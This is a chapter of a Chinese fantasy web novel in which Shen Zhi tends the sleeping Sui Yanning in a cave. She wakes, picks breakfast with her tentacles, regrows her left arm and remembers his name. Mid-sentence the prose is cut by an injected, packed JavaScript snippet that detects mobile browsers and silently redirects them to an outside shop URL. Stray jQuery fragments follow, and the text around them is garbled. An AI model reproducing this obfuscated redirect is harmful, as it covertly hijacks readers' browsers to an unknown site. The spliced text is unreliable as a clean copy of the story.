他的视线下滑,落在她白皙的脖颈上。
淡青色的血管微微搏动,一起一伏,规律而有力。
沈栀盯着那血管看了好一会,才轻轻将头靠在石壁上,闭了闭眼,长长地呼出一口气。
良久,似乎收拾好了情绪,他又俯身凑近岁宴宁,用两根手指捏了捏她的左臂。
手指毫无阻碍地穿透黑雾,指尖碰在了一起。
双腿也是如此。
他眉头紧锁,在岁宴宁用触手卷走他之前,她四肢健全,虽然受伤严重,但肢体是完整的。
被裹入黑雾后,他便彻底晕了过去。
这中间发生了什么?
难道在他晕过去后,现场又出现了其他域族?
沈栀下意识抬手,摸向后颈。
他想联系空茧,确认顾京墨和般般的情况,也想知道外面过去了多久。
然而,无论他如何尝试催动,金莲都毫无反应。
就在这时,旁边那根触手终于把自己解开了,看到他的动作,祂停顿了一下,然后“哧溜”一下钻进了旁边一堆触手里面,开始窸窸窣窣地翻找。
片刻后,祂顶着一根红色细线状的东西,献宝似的托到沈栀面前。
沈栀凝神看去,是金莲虫,已经干瘪死亡。
岁宴宁的那只早就被她扔了,这只,只可能是他自己的。
沈栀沉默了。
良久,他低声说了句:“…谢谢。”
金莲虫既死,其中存储的东西自然也已湮灭,拿着毫无用处。
触手晃了晃,还是没动,似乎执意要他接过去。
“扔了就行。”沈栀说。
触手不动,依旧举着,透着一种笨拙的执拗。
沈栀看着祂这副样子,忽然极轻地笑了一声,摇了摇头:“倒是和你主人一个脾气。”
话音刚落,他身边传来一声含糊的鼻音:“嗯…?”
沈栀瞬间噤声,屏住呼吸,侧头看去。
好在岁宴宁并没有醒,只是似乎睡梦中被打扰,无意识地哼了一声,然后…
她翻了个身。
在沈栀僵硬的目光中,她蜷缩起身体,仿佛觉得有些冷,然后,自然而然地蠕动着身体靠近他,将头枕在了他的大腿上。
沈栀:!!!
腿上传来的重量和触感异常清晰。
她散开的长发有些凌乱地铺在他的腿上,发丝冰凉顺滑。
隔着衣物,他能感受到她脸颊的轮廓,以及均匀温热的呼吸,正轻轻拂过他腿侧的布料。
属于另一个人的体温和存在感,透过薄薄的衣料,无比鲜明地烙印在他的感知里。
沈栀浑身僵硬,一动不敢动,他只能一点点转动脖子,看向旁边那根还举着金莲虫的触手。
“能找几件厚衣服来吗?”
触手尖端晃了晃,没动。
沈栀以为祂没懂,正想再解释,却见那触手突然把金莲虫往他手里一塞,然后再次低头扎进旁边的触手堆里,又是一阵窸窸窣窣的翻找。
这次,祂掏出了一件皱皱巴巴的、玄黑色的厚实外袍。
看大小和样式,正是沈栀那件,不知何时被这些触手藏了起来。
沈栀低声道了谢,接过外袍,小心翼翼地展开,盖在岁宴宁蜷缩的身子上,仔细掖了掖边角。
外袍落下,将她整个人裹住,只露出小半张安静的侧脸。
岁宴宁无意识地在沈栀腿上蹭了蹭,微蹙的眉头舒展开来,睡得更沉了。
沈栀静静地看着她毫无防备的睡颜,紧绷的身体慢慢放松下来。
他握着那只金莲虫,背靠着冰冷粗糙的石壁,将头也轻轻靠了上去,闭上了眼睛。
沈栀是被一阵窸窸窣窣的声音吵醒的。
他睁开眼,先是愣了愣,有些惊讶自己竟睡得如此沉。
意识回笼,洞内光线已比入睡前明亮不少,应是第二日清晨了。
他转过头,循声望去,不由得怔住。
岁宴宁站在洞穴中央,微微歪着头,而她周身,数根触手正殷勤地托举着各式各样的东西。
油纸包、玉盒、瓷瓶、干果、肉脯……琳琅满目。
她指尖把玩着一个圆环戒指,背对着沈栀凑近左边触手递过来的一块肉脯,鼻尖轻轻耸动,然后冷淡挥手:“下一个。”
那根触手立刻听话地缩回,另一根触手及时补上位置,将托着的面饼递到她面前。
她凑过去闻,然后重复:“下一个。”
她就这么一个个地闻过去,有时还会盯着某样东西看上好一会儿。
光影在她侧脸上流动,长睫垂落,神情专注得近乎天真。
整个场面,像极了被一群笨拙又殷勤的侍从环绕着、挑剔地检阅贡品的女王。
沈栀看着这诡异又莫名和谐的一幕,张了张口,最终还是决定加入祂们。
“你们在做什么?”
岁宴宁没理他,仿佛没听见似的,依旧在进行她严肃的检阅工作。
她拿起一个硬邦邦的玉米饼,嗅了嗅,立刻嫌弃地扔回触手上,那触手慌忙接住,玉米饼差点掉在地上。
沈栀不以为意,靠回石壁静静等着。
过了一会儿,有条触手捧着一只用油纸包得严严实实的叫花鸡递到她面前,她鼻子动了动,忽然伸手,拎起油纸包的一角,手腕一甩。
叫花鸡划过一个优美的弧度,“啪”一声,精准地落在沈栀怀里。
沈栀下意识接住,有些错愕地抬头。
“选早饭。”她言简意赅,“这个,赏你。”
说完,她又转回去,对着一碟绿豆糕露出了思索的表情。
沈栀低头看了看怀里温热的油纸包,又抬眼看看她清冷的侧影,唇角带了些他自己都尚未发觉的弧度。
他小心地拆开油纸,里面是一只烤得色泽金黄、喷香扑鼻的叫花鸡,鸡肉被烤得酥烂,荷叶的清香混合着泥土与肉类的醇厚气息扑面而来。
“多谢。”
鸡肉入口即化,咸香适中。
他吃得慢,目光却始终落在岁宴宁身上。
岁宴宁漫长的检阅终于接近尾声。
她大手一挥,除了那盘绿豆糕被留下,其余触手托着的物品又被祂们有条不紊地塞回空间戒指,洞穴中央瞬间空旷下来。
一根细嫩的粉色触手讨好般地卷着那盘绿豆糕,举在她手边。
果然还是最喜欢甜食。
沈栀觉得有些好笑,正要收回视线,却见岁宴宁忽然伸了个大大的懒腰。
她仰起头,双臂向上伸展,洞穴外有冷风吹入,拂动她额前的碎发。
沈栀的目光凝固在她伸出的左臂上。
从肩头到指尖,线条流畅,肌肤细腻白皙,仿佛上好的暖玉。
因为冷风的刺激,那毫无遮挡的肌肤上,迅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761310|203127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
速起了一层细小的鸡皮疙瘩。
她的左臂长出来了!
岁宴宁对自己身体的变化仿佛浑然未觉,她端过绿豆糕,毫无形象地盘腿往地上一蹲,囫囵塞进嘴里。
沈栀看得太过专注,以至于岁宴宁很快察觉。
她咀嚼的动作慢下来,金色的竖瞳带着一丝威胁,瞪向他:“你看什么?”
“你的左臂。”沈栀艰难地咽下口中食物,声音有些发紧。
岁宴宁顺着他的目光,抬起自己的左手,放到眼前,翻转着看了看,又灵活地张合了几下五指。
“哦,长出来了。”
“怎么回事?”
岁宴宁又塞了一块绿豆糕,眯着眼想了想,似乎在努力组织语言:“不知道…就是,感觉脑袋灵光了一些。”
沈栀追问道:“比如?”
岁宴宁的视线落在他手里吃了一半的叫花鸡上,皱了皱鼻子,露出嫌弃:“太咸,不喜欢。”
沈栀一愣,看看手里的叫花鸡,又看看她理直气壮的脸,有些失笑。
原来是因为不喜欢,才赏给他的。
他笑声未落,岁宴宁忽然连名带姓地叫他:“沈栀。”
沈栀指尖一颤,看向她。
她嘴里还嚼着东西,腮帮子一动一动,目光却清凌凌地看着他,又清晰地重复了一遍:“我知道你,沈栀。”
那一刹那,似乎周围所有的声音,风声、触手蠕动的窸窣声,甚至他自己的呼吸声全部退去。
万籁俱寂中,只剩下胸膛里那颗心脏疯狂擂动的声音。
砰!砰!砰!
一声比一声沉重,一声比一声急促,像战鼓被重锤狠狠敲响,震得他耳膜嗡鸣,血液逆流。
一股滚烫的热意从心脏处漫开,瞬间席卷四肢百骸。
他握着油纸的手指收紧,脸上的热度攀升得如此迅速,他甚至能感觉到耳根、脖颈都烧了起来。
视线里,岁宴宁说完这句话,就若无其事地转回头,继续专注地对付她的绿豆糕。
他只得慌乱低下头,将剩下的叫花鸡胡乱放在腿上,手按上胸膛。
掌下,那颗心脏跳得疯狂而急切。
他深吸一口气,几乎是有些狼狈地向后靠去,紧紧贴上冰冷的石壁。
石壁的凉意透过衣衫渗透进来,却无法缓解他内心的灼热。
他感觉自己快烧起来了,从里到外。
甚至不敢再往岁宴宁的方向看一眼,怕她察觉到视线转过头来,怕她那双竖瞳,清晰地捕捉到他此刻红透的脸颊和失措的眼神。
他只能盯着地上的触手,强迫自己调整呼吸。
时间在震耳欲聋的心跳声中缓慢流淌。
过了许久,久到岁宴宁已经吃完一整盘绿豆糕,沈栀呼吸才重新变得平缓。
他终于有余力将注意力重新放在她的双腿上。
自大腿根部以下,依然是黑雾,与她新生的左臂形成鲜明对比。
但既然手臂能在一夜之间长好,双腿是不是也可以?只是需要更多时间?
今日的她,长出了左臂,记起了他的名字,甚至愿意与他分享食物。
是否都指向同一个变化?
随着身体被黑雾吞噬的部分逐渐恢复,属于岁宴宁的记忆和心性,也在一点一点从混沌的状态中挣脱出来?
等她身体完全长好,黑雾退去,是不是就能记起全部?